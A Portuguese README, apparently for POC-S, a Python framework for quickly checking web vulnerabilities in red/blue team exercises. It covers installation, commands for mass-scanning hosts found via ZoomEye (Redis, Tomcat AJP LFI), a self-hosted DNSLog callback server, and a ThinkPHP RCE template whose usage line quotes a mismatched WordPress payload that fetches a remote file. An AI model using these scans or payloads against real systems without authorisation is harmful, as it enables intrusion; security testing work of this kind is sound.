
Versão aprimorada do POC-T, POC-S, usada para validar rapidamente vulnerabilidades de aplicações Web em confrontos de equipe vermelha e azul (red team/blue team), com funcionalidades reforçadas e scripts adicionados de forma categorizada, inclui dnslog, etc. A plataforma complementa com POCs de alta disponibilidade do vulhub e de outros projetos de código aberto.
Consulte o diretório doc para a documentação wiki do POC-T
Prefácio: Atualmente
Usar o POC-S para atacar alvos sem consentimento prévio de ambas as partes é ilegal. O POC-S é apenas para fins de teste de segurança.
TODO
Como as interfaces de terceiros exigem autenticação, você pode usar o parâmetro --init para inicializar sua configuração de interface, ex: --init zoomeye
pip install pocs
Instalação a partir do código fonte:
git clone https://github.com/jiangsir404/POC-S.git
mv pocs/toolkit.conf.bak mv pocs/toolkit.conf
python setup.py install
Se ao instalar com pip ocorrer o erro 'Some files missing', vá para o diretório de instalação do pocs (python2.7\Lib\site-packages\pocs) e renomeie tookit.conf. Se ocorrer o erro
WARNING: Generating metadata for package cachetools produced metadata for project name unknown. Fix your #egg=cachetools fragments., é um problema de dependência de pacote. Verifique e atualize as versões de alguns pacotes: setuptools==39.0.1 cachetools==3.1.1 google-api-python-client==1.7.11
pocs -s test/test2.py -iS 127.0.0.1 #carrega script/test/test2.py
pocs -s test2 -iS 127.0.0.1 # carrega script/test2.py
pocs -b test -iS 127.0.0.1 # carrega em lote todos os scripts em /script/test
pocs -b test -s test2.py -iS 127.0.0.1 #carrega script/test/test2.py
pocs -s myself_script.py -iS 127.0.0.1 # carrega script e diretório personalizados
pocs -b mydir -iS 127.0.0.1
pocs --init zoomeye //inicializa configuração do ZoomEye
pocs -b redis -t 50 -aZ "port:6379" --limit 50 -o res.txt
pocs -s test2.py -aZ "ThinkPHP"
Usar ZoomEye para pesquisar em lote a vulnerabilidade CNVD-2020-10487 tomcat ajp lfi
pip install pocs
pocs -b apache -aZ "app:tomcat" --limit 50 -t 30 -o ajp.txt

Se você ainda está preocupado com a instabilidade do ceye, sem tempo ou energia para montar uma plataforma DNSLog (que requer dois domínios, um IP público e que os domínios possam modificar servidores DNS), então experimente a plataforma dnslog simples fornecida pelo POC-S. Requer apenas um domínio e um IP público para montar, fornecendo interface API para verificação (sem interface gráfica).
Suponha que dnslog.xxx.cn seja seu domínio público e x.x.x.x seja o IP público. Certifique-se de que dnslog.xxx.cn possa ser resolvido para x.x.x.x, caso contrário, não será possível acessar a API. Execute o comando no IP público (x.x.x.x):
pip install pocs
pocs_dnslog -h 0.0.0.0 -p 88(如果不是pip安装的可以直接运行pocs.dnslog.py脚本)
>>> dns domain: dnslog.xxx.cn
>>> api key: rivir
>>>dns ip: x.x.x.x
Comando dns log, suporta apenas o comando nslookup: nslookup 1234.dnslog.xxx.cn x.x.x.x
Se você quiser usar o comando ping 1234.dnslog.xxx.cn, também pode configurar servidores DNS personalizados para o domínio xxx.cn (consulte a configuração do DNSLog).
Comando web log: curl http://dnslog.xxx.cn:88/weblog/poc123
Endereço da API: http://x.x.x.x:88/api/?token={token}&type={dns}&filter=1234.dnslog.xxx.cn
Parâmetros:
- token (obrigatório) - api_key inserida ao montar o dnslog
- type (obrigatório) - valores possíveis: dns/web
- filter (opcional) - filtrar registros, correspondência exata
pocs fornece uma maneira mais flexível de categorizar plugins. Atualmente, há quatro categorias de POCs: Fuzz POC, OWASP POC, Vuln POC, Tool POC. Quanto aos POCs, tentaremos coletar alguns já existentes no GitHub, mas não muitos; ainda é necessário que cada um colete e organize os seus próprios. f
A escrita de POCs será o mais padronizada possível, seguindo o estilo de escrita do POC-T. Exemplo abaixo:
#!/usr/bin/env python
#coding:utf-8
"""
ThinkPHP5 <=5.0.22/<=5.1.29 远程代码执行漏洞
Desc
2018年12月10日中午,thinkphp官方公众号发布了一个更新通知,包含了一个5.x系列所有版本存在被getshell的高风险漏洞。
由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,
受影响的版本包括5.0.23和5.1.31之前的所有版本,推荐尽快更新到最新版本。
Version
ThinkPHP5.0 版本 <= 5.0.22 ThinkPHP5.1 版本 <= 5.1.29
Usage:
1. python POC-S.py -s
2. POC: /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://lj.s7star.cn/info.txt
Referer
https://www.seebug.org/vuldb/ssvid-9771
"""
import requests
def poc(url):
pass
Principalmente provenientes da escrita de plugins do vulhub e dos plugins POC incluídos no POC-T, apenas adicionando alguns POCs de alta disponibilidade. Cada POC listado abaixo foi verificado como funcional em ambientes montados por mim. Se houver algum POC incorreto, por favor, abra uma issue para me contatar.
Fonte: boy-hack/POC-T
Fonte: script de detecção do Hunter
Alguns POCs de ferramentas comuns, fornecendo funcionalidades como mecanismos de busca, consulta de informações, etc.
Outros POCs de código aberto, como o projeto https://github.com/boy-hack/airbug, coletaram alguns POCs que podem ser usados diretamente, mas há uma biblioteca HackRequests que é Python 3, precisa ser adaptada para Python 2. Você pode instalar diretamente minha versão modificada para Python 2: https://github.com/jiangsir404/hack-requests